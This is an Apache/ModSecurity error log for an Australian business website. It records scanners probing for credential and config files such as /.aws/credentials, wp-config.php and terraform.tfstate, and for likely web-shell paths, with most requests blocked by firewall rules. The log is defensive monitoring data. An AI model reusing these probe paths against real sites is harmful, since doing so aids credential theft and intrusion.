[Sun Apr 26 13:04:28.895802 2026] [:error] [pid 8385:tid 8440] [client 45.45.237.225:45966] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.yml"] [unique_id "ae2c3DOy7_J84Wx3-oyjBgAAAFA"]
[Sun Apr 26 13:04:28.897359 2026] [:error] [pid 8390:tid 8458] [client 45.45.237.225:45992] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/package.json"] [unique_id "ae2c3IGPtFK_i9p5yxTI0AAAAIc"]
[Sun Apr 26 13:04:28.905356 2026] [:error] [pid 8385:tid 8426] [client 45.45.237.225:46036] [client 45.45.237.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config.php"] [unique_id "ae2c3DOy7_J84Wx3-oyjCQAAAEI"]
[Sun Apr 26 13:04:28.905598 2026] [:error] [pid 8390:tid 8451] [client 45.45.237.225:46008] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws-exports.js"] [unique_id "ae2c3IGPtFK_i9p5yxTI0QAAAIA"]
[Sun Apr 26 13:04:28.917572 2026] [:error] [pid 13197:tid 13251] [client 45.45.237.225:46022] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/serverless.yml"] [unique_id "ae2c3N3kktFKdSxTrBu2QQAAAtM"]
[Sun Apr 26 13:04:28.929228 2026] [:error] [pid 8385:tid 8436] [client 45.45.237.225:46052] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/terraform.tfstate"] [unique_id "ae2c3DOy7_J84Wx3-oyjCgAAAEw"]
[Sun Apr 26 13:04:28.943939 2026] [:error] [pid 13197:tid 13244] [client 45.45.237.225:45976] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/docker-compose.yml"] [unique_id "ae2c3N3kktFKdSxTrBu2QgAAAsw"]
[Sun Apr 26 13:04:28.946068 2026] [:error] [pid 8390:tid 8471] [client 45.45.237.225:45960] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.json"] [unique_id "ae2c3IGPtFK_i9p5yxTI0wAAAJQ"]
[Sun Apr 26 13:04:28.946371 2026] [:error] [pid 8390:tid 8468] [client 45.45.237.225:46044] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.js"] [unique_id "ae2c3IGPtFK_i9p5yxTI1AAAAJE"]
[Sun Apr 26 13:04:28.948410 2026] [:error] [pid 16574:tid 16611] [client 45.45.237.225:46048] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.aws/credentials"] [unique_id "ae2c3H5MsX8wRQr99nYX8wAAA0c"]
[Sun Apr 26 13:04:29.139768 2026] [:error] [pid 8390:tid 8465] [client 45.45.237.225:45950] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.yml"] [unique_id "ae2c3YGPtFK_i9p5yxTI1QAAAI4"]
[Sun Apr 26 13:04:29.315432 2026] [:error] [pid 22572:tid 22579] [client 45.45.237.225:46298] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/package.json"] [unique_id "ae2c3dXOViWCFU-pZzDRSAAAAUE"]
[Sun Apr 26 13:04:29.315457 2026] [:error] [pid 22572:tid 22596] [client 45.45.237.225:46294] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/settings.py"] [unique_id "ae2c3dXOViWCFU-pZzDRRwAAAVI"]
[Sun Apr 26 13:04:29.362175 2026] [:error] [pid 22573:tid 22611] [client 45.45.237.225:46304] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws-exports.js"] [unique_id "ae2c3XB3EmQlD4yKUt-UQAAAAYU"]
[Sun Apr 26 13:04:29.372963 2026] [:error] [pid 22572:tid 22585] [client 45.45.237.225:46306] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/serverless.yml"] [unique_id "ae2c3dXOViWCFU-pZzDRSgAAAUc"]
[Sun Apr 26 13:04:29.375077 2026] [:error] [pid 22572:tid 22600] [client 45.45.237.225:46308] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/terraform.tfstate"] [unique_id "ae2c3dXOViWCFU-pZzDRSwAAAVY"]
[Sun Apr 26 13:04:29.742399 2026] [:error] [pid 22572:tid 22588] [client 45.45.237.225:45916] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/docker-compose.yml"] [unique_id "ae2c3dXOViWCFU-pZzDRUQAAAUo"]
[Sun Apr 26 13:35:06.751487 2026] [:error] [pid 13197:tid 13255] [client 122.173.106.92:63259] [client 122.173.106.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.173.106.92, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ae2kCt3kktFKdSxTrBu4TgAAAtc"]
[Sun Apr 26 13:35:06.757153 2026] [:error] [pid 13197:tid 13255] [client 122.173.106.92:63259] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun Apr 26 22:30:47.250484 2026] [:error] [pid 22573:tid 22608] [client 20.255.80.192:2039] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Apr 26 22:30:47.379871 2026] [:error] [pid 22573:tid 22615] [client 20.255.80.192:2039] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sun Apr 26 22:30:47.622428 2026] [:error] [pid 22573:tid 22630] [client 20.255.80.192:2039] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Sun Apr 26 22:30:47.743193 2026] [:error] [pid 22573:tid 22620] [client 20.255.80.192:2039] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Apr 26 22:30:48.000120 2026] [:error] [pid 22573:tid 22625] [client 20.255.80.192:2039] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Sun Apr 26 22:30:48.122195 2026] [:error] [pid 22573:tid 22610] [client 20.255.80.192:2039] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sun Apr 26 22:30:48.245375 2026] [:error] [pid 22573:tid 22618] [client 20.255.80.192:2039] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Sun Apr 26 22:30:48.614324 2026] [:error] [pid 22573:tid 22624] [client 20.255.80.192:2039] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ae4hmHB3EmQlD4yKUt8ZDwAAAZE"]
[Sun Apr 26 22:30:49.106980 2026] [:error] [pid 22572:tid 22599] [client 20.255.80.192:1999] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ae4hmdXOViWCFU-pZzBAwQAAAVU"]
[Sun Apr 26 22:30:49.604922 2026] [:error] [pid 8385:tid 8443] [client 20.255.80.192:2013] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ae4hmTOy7_J84Wx3-ozgWQAAAFM"]
[Sun Apr 26 22:30:50.083018 2026] [:error] [pid 8385:tid 8424] [client 20.255.80.192:1542] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ae4hmjOy7_J84Wx3-ozgWwAAAEA"]
[Mon Apr 27 00:17:29.603065 2026] [:error] [pid 8491:tid 8519] [client 165.245.225.153:60241] [client 165.245.225.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.245.225.153, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ae46mSq7I7e6CJooQM0lRQAAANQ"]
[Mon Apr 27 00:17:29.607206 2026] [:error] [pid 8491:tid 8519] [client 165.245.225.153:60241] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Apr 27 02:03:26.475012 2026] [:error] [pid 8383:tid 8407] [client 74.248.148.150:60854] File does not exist: /usr/local/apache/htdocs/suspended-page/png.php
[Mon Apr 27 02:03:26.772517 2026] [:error] [pid 8383:tid 8409] [client 74.248.148.150:60854] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-x7.php
[Mon Apr 27 02:03:27.079655 2026] [:error] [pid 8383:tid 8418] [client 74.248.148.150:60854] File does not exist: /usr/local/apache/htdocs/suspended-page/ms.php
[Mon Apr 27 02:03:27.719264 2026] [:error] [pid 8383:tid 8412] [client 74.248.148.150:60854] File does not exist: /usr/local/apache/htdocs/suspended-page/AxAo.php
[Mon Apr 27 02:03:28.121719 2026] [:error] [pid 8383:tid 8410] [client 74.248.148.150:60854] File does not exist: /usr/local/apache/htdocs/suspended-page/siln.php
[Mon Apr 27 02:03:28.485487 2026] [:error] [pid 8383:tid 8400] [client 74.248.148.150:60854] File does not exist: /usr/local/apache/htdocs/suspended-page/ext.php
[Mon Apr 27 02:03:28.819925 2026] [:error] [pid 8383:tid 8411] [client 74.248.148.150:60854] File does not exist: /usr/local/apache/htdocs/suspended-page/about3.php
[Mon Apr 27 02:03:32.123725 2026] [:error] [pid 8383:tid 8407] [client 74.248.148.150:60854] File does not exist: /usr/local/apache/htdocs/suspended-page/raw.php
[Mon Apr 27 02:03:32.419065 2026] [:error] [pid 8383:tid 8409] [client 74.248.148.150:60854] File does not exist: /usr/local/apache/htdocs/suspended-page/puvil.php
[Mon Apr 27 02:03:32.736227 2026] [:error] [pid 8383:tid 8397] [client 74.248.148.150:60854] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Mon Apr 27 02:03:33.046804 2026] [:error] [pid 8383:tid 8418] [client 74.248.148.150:60854] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tmpls.php"] [unique_id "ae5TddFa2S3EsATMdWO1XQAAABU"]
[Mon Apr 27 02:03:42.581957 2026] [:error] [pid 22573:tid 22628] [client 74.248.148.150:26229] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tmpls.php"] [unique_id "ae5TfnB3EmQlD4yKUt88zAAAAZU"]
[Mon Apr 27 02:03:54.352470 2026] [:error] [pid 13137:tid 13158] [client 74.248.148.150:60140] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3.php"] [unique_id "ae5Tit0RB4J0o4h5neHLvAAAAhE"]
[Mon Apr 27 02:03:55.729656 2026] [:error] [pid 8491:tid 8504] [client 74.248.148.150:26233] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3.php"] [unique_id "ae5Tiyq7I7e6CJooQM06lgAAAMU"]
[Mon Apr 27 02:03:57.342682 2026] [:error] [pid 22572:tid 22596] [client 74.248.148.150:60129] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3.php"] [unique_id "ae5TjdXOViWCFU-pZzBfrwAAAVI"]
[Mon Apr 27 02:03:59.051790 2026] [:error] [pid 22572:tid 22597] [client 74.248.148.150:26209] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3.php"] [unique_id "ae5Tj9XOViWCFU-pZzBfsQAAAVM"]
[Mon Apr 27 02:04:01.186980 2026] [:error] [pid 16515:tid 16529] [client 74.248.148.150:3122] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-aaa.php"] [unique_id "ae5TkVtDrUmgHSvpuLxrgwAAAks"]
[Mon Apr 27 02:04:02.079302 2026] [:error] [pid 8491:tid 8508] [client 74.248.148.150:3131] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-aaa.php"] [unique_id "ae5Tkiq7I7e6CJooQM06nAAAAMk"]
[Mon Apr 27 02:04:03.625516 2026] [:error] [pid 22572:tid 22578] [client 74.248.148.150:60106] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-aaa.php"] [unique_id "ae5Tk9XOViWCFU-pZzBftQAAAUA"]
[Mon Apr 27 02:04:04.758191 2026] [:error] [pid 13137:tid 13145] [client 74.248.148.150:3117] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-aaa.php"] [unique_id "ae5TlN0RB4J0o4h5neHLxwAAAgU"]
[Mon Apr 27 02:04:05.771994 2026] [:error] [pid 13137:tid 13142] [client 74.248.148.150:26217] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ae5Tld0RB4J0o4h5neHLzgAAAgI"]
[Mon Apr 27 02:04:06.512833 2026] [:error] [pid 13137:tid 13162] [client 74.248.148.150:52427] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ae5Tlt0RB4J0o4h5neHL0QAAAhU"]
[Mon Apr 27 02:04:07.536360 2026] [:error] [pid 13197:tid 13246] [client 74.248.148.150:60159] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ae5Tl93kktFKdSxTrBv1bwAAAs4"]
[Mon Apr 27 02:04:08.263865 2026] [:error] [pid 8383:tid 8415] [client 74.248.148.150:49285] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ae5TmNFa2S3EsATMdWO1cwAAABI"]
[Mon Apr 27 02:04:08.934709 2026] [:error] [pid 16574:tid 16614] [client 74.248.148.150:65420] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mo.php"] [unique_id "ae5TmH5MsX8wRQr99nZQsgAAA0o"]
[Mon Apr 27 02:04:09.637607 2026] [:error] [pid 13137:tid 13144] [client 74.248.148.150:49299] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mo.php"] [unique_id "ae5Tmd0RB4J0o4h5neHL2QAAAgQ"]
[Mon Apr 27 02:04:10.564997 2026] [:error] [pid 8383:tid 8399] [client 74.248.148.150:26218] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mo.php"] [unique_id "ae5TmtFa2S3EsATMdWO1dgAAAAI"]
[Mon Apr 27 02:04:11.295809 2026] [:error] [pid 8383:tid 8417] [client 74.248.148.150:45312] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mo.php"] [unique_id "ae5Tm9Fa2S3EsATMdWO1dwAAABQ"]
[Mon Apr 27 02:04:12.139443 2026] [:error] [pid 22572:tid 22580] [client 74.248.148.150:3092] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ae5TnNXOViWCFU-pZzBfuAAAAUI"]
[Mon Apr 27 02:04:12.919436 2026] [:error] [pid 8383:tid 8416] [client 74.248.148.150:52473] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ae5TnNFa2S3EsATMdWO1eQAAABM"]
[Mon Apr 27 02:04:13.533872 2026] [:error] [pid 8383:tid 8407] [client 74.248.148.150:60838] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ae5TndFa2S3EsATMdWO1fAAAAAo"]
[Mon Apr 27 02:04:14.181755 2026] [:error] [pid 8383:tid 8420] [client 74.248.148.150:26194] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ae5TntFa2S3EsATMdWO1fwAAABc"]
[Mon Apr 27 02:04:14.796703 2026] [:error] [pid 22573:tid 22615] [client 74.248.148.150:3129] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xrm.php"] [unique_id "ae5TnnB3EmQlD4yKUt883gAAAYg"]
[Mon Apr 27 02:04:15.472682 2026] [:error] [pid 22573:tid 22631] [client 74.248.148.150:60107] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xrm.php"] [unique_id "ae5Tn3B3EmQlD4yKUt884AAAAZg"]
[Mon Apr 27 02:04:16.054804 2026] [:error] [pid 8390:tid 8463] [client 74.248.148.150:65459] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xrm.php"] [unique_id "ae5ToIGPtFK_i9p5yxTHJAAAAIw"]
[Mon Apr 27 02:04:16.703250 2026] [:error] [pid 8383:tid 8415] [client 74.248.148.150:60858] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xrm.php"] [unique_id "ae5ToNFa2S3EsATMdWO1gQAAABI"]
